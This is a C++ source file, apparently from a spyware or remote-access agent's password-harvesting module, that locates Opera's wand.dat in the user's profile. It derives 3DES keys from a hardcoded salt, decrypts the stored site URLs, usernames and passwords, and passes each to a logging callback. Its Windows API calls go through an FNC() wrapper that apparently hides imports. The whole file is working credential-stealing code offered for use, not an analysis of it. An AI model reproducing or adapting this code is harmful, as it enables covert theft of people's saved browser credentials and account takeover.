HM_PWDAgent/opera.cpp
#define _CRT_SECURE_NO_WARNINGS 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <cstdio>
#include <iostream>
#include <memory>
#include "../md5.h"
#include "des.h"
#include "..\common.h"
const unsigned char opera_salt[11] = { 0x83, 0x7D, 0xFC, 0x0F, 0x8E, 0xB3, 0xE8, 0x69, 0x73, 0xAF, 0xFF };
struct p_entry {
WCHAR service[64];
WCHAR resource[255];
WCHAR user_name[255];
WCHAR user_value[255];
WCHAR pass_name[255];
WCHAR pass_value[255];
};
// callback for the password
extern int LogPassword(WCHAR *resource, WCHAR *service, WCHAR *user, WCHAR *pass);
// Function declarations..
WCHAR *GetOPProfilePath();
#define SAFE_FREE(x) do { if (x) {free(x); x=NULL;} } while (0);
#define FORM_FIELDS 0x0c020000
int DumpOP(WCHAR *profilePath, WCHAR *signonFile)
{
WCHAR wandPath[MAX_PATH];
unsigned char *wandData, *wandMap;
unsigned long fileSize;
HANDLE hFile;
HANDLE hMap;
p_entry opentry;
memset(&opentry, 0, sizeof(opentry));
_snwprintf_s(wandPath, MAX_PATH, _TRUNCATE, L"%s\\%s", profilePath, signonFile);
if ((hFile = FNC(CreateFileW)(wandPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL)) == INVALID_HANDLE_VALUE)
return 0;
fileSize = FNC(GetFileSize)(hFile, NULL);
if ((hMap = FNC(CreateFileMappingA)(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) == INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
return 0;
}
wandMap = (unsigned char *)FNC(MapViewOfFile)(hMap, FILE_MAP_READ, 0, 0, 0);
wandData = (unsigned char *)malloc(fileSize);
memcpy(wandData, wandMap, fileSize);
CloseHandle(hFile);
FNC(UnmapViewOfFile)(wandMap);
CloseHandle(hMap);
swprintf_s(opentry.service, 255, L"Opera");
unsigned long wandOffset = 0;
int field_num = 0;
//
// main loop, find and process encrypted blocks
//
while(wandOffset < fileSize)
{
DWORD *field_type;
// find key length field at start of block
unsigned char *wandKey = (unsigned char *)
memchr(wandData + wandOffset, DES_KEY_SZ, fileSize - wandOffset);
if (wandKey == NULL)
break;
// Vede quando cominciano i field
field_type = (DWORD *)(++wandKey);
field_type-=3;
wandOffset = wandKey - wandData;
// create pointers to length fields
unsigned char *blockLengthPtr = wandKey - 8;
unsigned char *dataLengthPtr = wandKey + DES_KEY_SZ;
if(blockLengthPtr < wandData || dataLengthPtr > wandData + fileSize)
continue;
// convert big-endian numbers to native
unsigned long blockLength = *blockLengthPtr++ << 24;
blockLength |= *blockLengthPtr++ << 16;
blockLength |= *blockLengthPtr++ << 8;
blockLength |= *blockLengthPtr;
unsigned long dataLength = *dataLengthPtr++ << 24;
dataLength |= *dataLengthPtr++ << 16;
dataLength |= *dataLengthPtr++ << 8;
dataLength |= *dataLengthPtr;
// as discussed in the article
if (blockLength != dataLength + DES_KEY_SZ + 4 + 4)
continue;
// perform basic sanity checks on data length
if (dataLength > fileSize - (wandOffset + DES_KEY_SZ + 4) || dataLength < 8 || dataLength % 8 != 0)
continue;
unsigned char
hashSignature1[MD5_DIGEST_LENGTH],
hashSignature2[MD5_DIGEST_LENGTH],
tmpBuffer[256];
memset(hashSignature1, 0, MD5_DIGEST_LENGTH);
memset(hashSignature2, 0, MD5_DIGEST_LENGTH);
memset(tmpBuffer, 0, 256);
//
// hashing of (salt, key), (hash, salt, key)
//
memcpy(tmpBuffer, opera_salt, sizeof(opera_salt));
memcpy(tmpBuffer + sizeof(opera_salt), wandKey, DES_KEY_SZ);
MD5(tmpBuffer, sizeof(opera_salt) + DES_KEY_SZ, hashSignature1);
memcpy(tmpBuffer, hashSignature1, sizeof(hashSignature1));
memcpy(tmpBuffer + sizeof(hashSignature1), opera_salt, sizeof(opera_salt));
memcpy(tmpBuffer + sizeof(hashSignature1) + sizeof(opera_salt), wandKey, DES_KEY_SZ);
MD5(tmpBuffer, sizeof(hashSignature1) + sizeof(opera_salt) + DES_KEY_SZ, hashSignature2);
//
// schedule keys. key material from hashes
//
DES_key_schedule key_schedule1, key_schedule2, key_schedule3;
DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[0], &key_schedule1);
DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[8], &key_schedule2);
DES_set_key_unchecked((const_DES_cblock *)&hashSignature2[0], &key_schedule3);
DES_cblock iVector;
memcpy(iVector, &hashSignature2[8], sizeof(DES_cblock));
unsigned char *cryptoData = wandKey + DES_KEY_SZ + 4;
//
// decrypt wand data in place using 3DES-CBC
//
DES_ede3_cbc_encrypt(cryptoData, cryptoData, dataLength, &key_schedule1, &key_schedule2, &key_schedule3, &iVector, 0);
if (*cryptoData != 0x00 && *cryptoData != 0x08) {
// remove padding (data padded up to next block)
unsigned char *padding = cryptoData + dataLength - 1;
memset(padding - (*padding - 1), 0x00, *padding);
// se comincia con "http" e' un url, quindi contiamo il numero di
// field che ci sono, il primo e' il nome, il secondo e' il valore
if (field_num == 4) {
field_num++;
swprintf_s(opentry.pass_value, 255, L"%s", cryptoData);
LogPassword(opentry.service, opentry.resource, opentry.user_value, opentry.pass_value);
}
if (field_num == 3) {
// salta i dispari che sono i nome dei field
field_num++;
}
if (field_num == 2) {
field_num++;
swprintf_s(opentry.user_value, 255, L"%s", cryptoData);
}
if (field_num == 1 && (*field_type) == FORM_FIELDS) {
// salta i dispari che sono i nome dei field
field_num++;
}
if (!wcsncmp((WCHAR *)cryptoData, L"http", 4)) {
field_num = 1;
swprintf_s(opentry.resource, 255, L"%s", cryptoData);
}
}
wandOffset = wandOffset + DES_KEY_SZ + 4 + dataLength;
}
SAFE_FREE(wandData);
return 1;
}
WCHAR *GetOPProfilePath()
{
WCHAR appPath[MAX_PATH];
static WCHAR FullPath[MAX_PATH];
FNC(GetEnvironmentVariableW)(L"APPDATA", appPath, MAX_PATH);
_snwprintf_s(FullPath, MAX_PATH, L"%s\\Opera\\Opera\\profile", appPath);
return FullPath;
}
WCHAR *GetOPProfilePath11()
{
WCHAR appPath[MAX_PATH];
static WCHAR FullPath[MAX_PATH];
FNC(GetEnvironmentVariableW)(L"APPDATA", appPath, MAX_PATH);
_snwprintf_s(FullPath, MAX_PATH, L"%s\\Opera\\Opera", appPath);
return FullPath;
}
int DumpOpera(void)
{
WCHAR *ProfilePath = NULL; //Profile path
ProfilePath = GetOPProfilePath();
DumpOP(ProfilePath, L"wand.dat");
ProfilePath = GetOPProfilePath11();
DumpOP(ProfilePath, L"wand.dat");
return 0;
}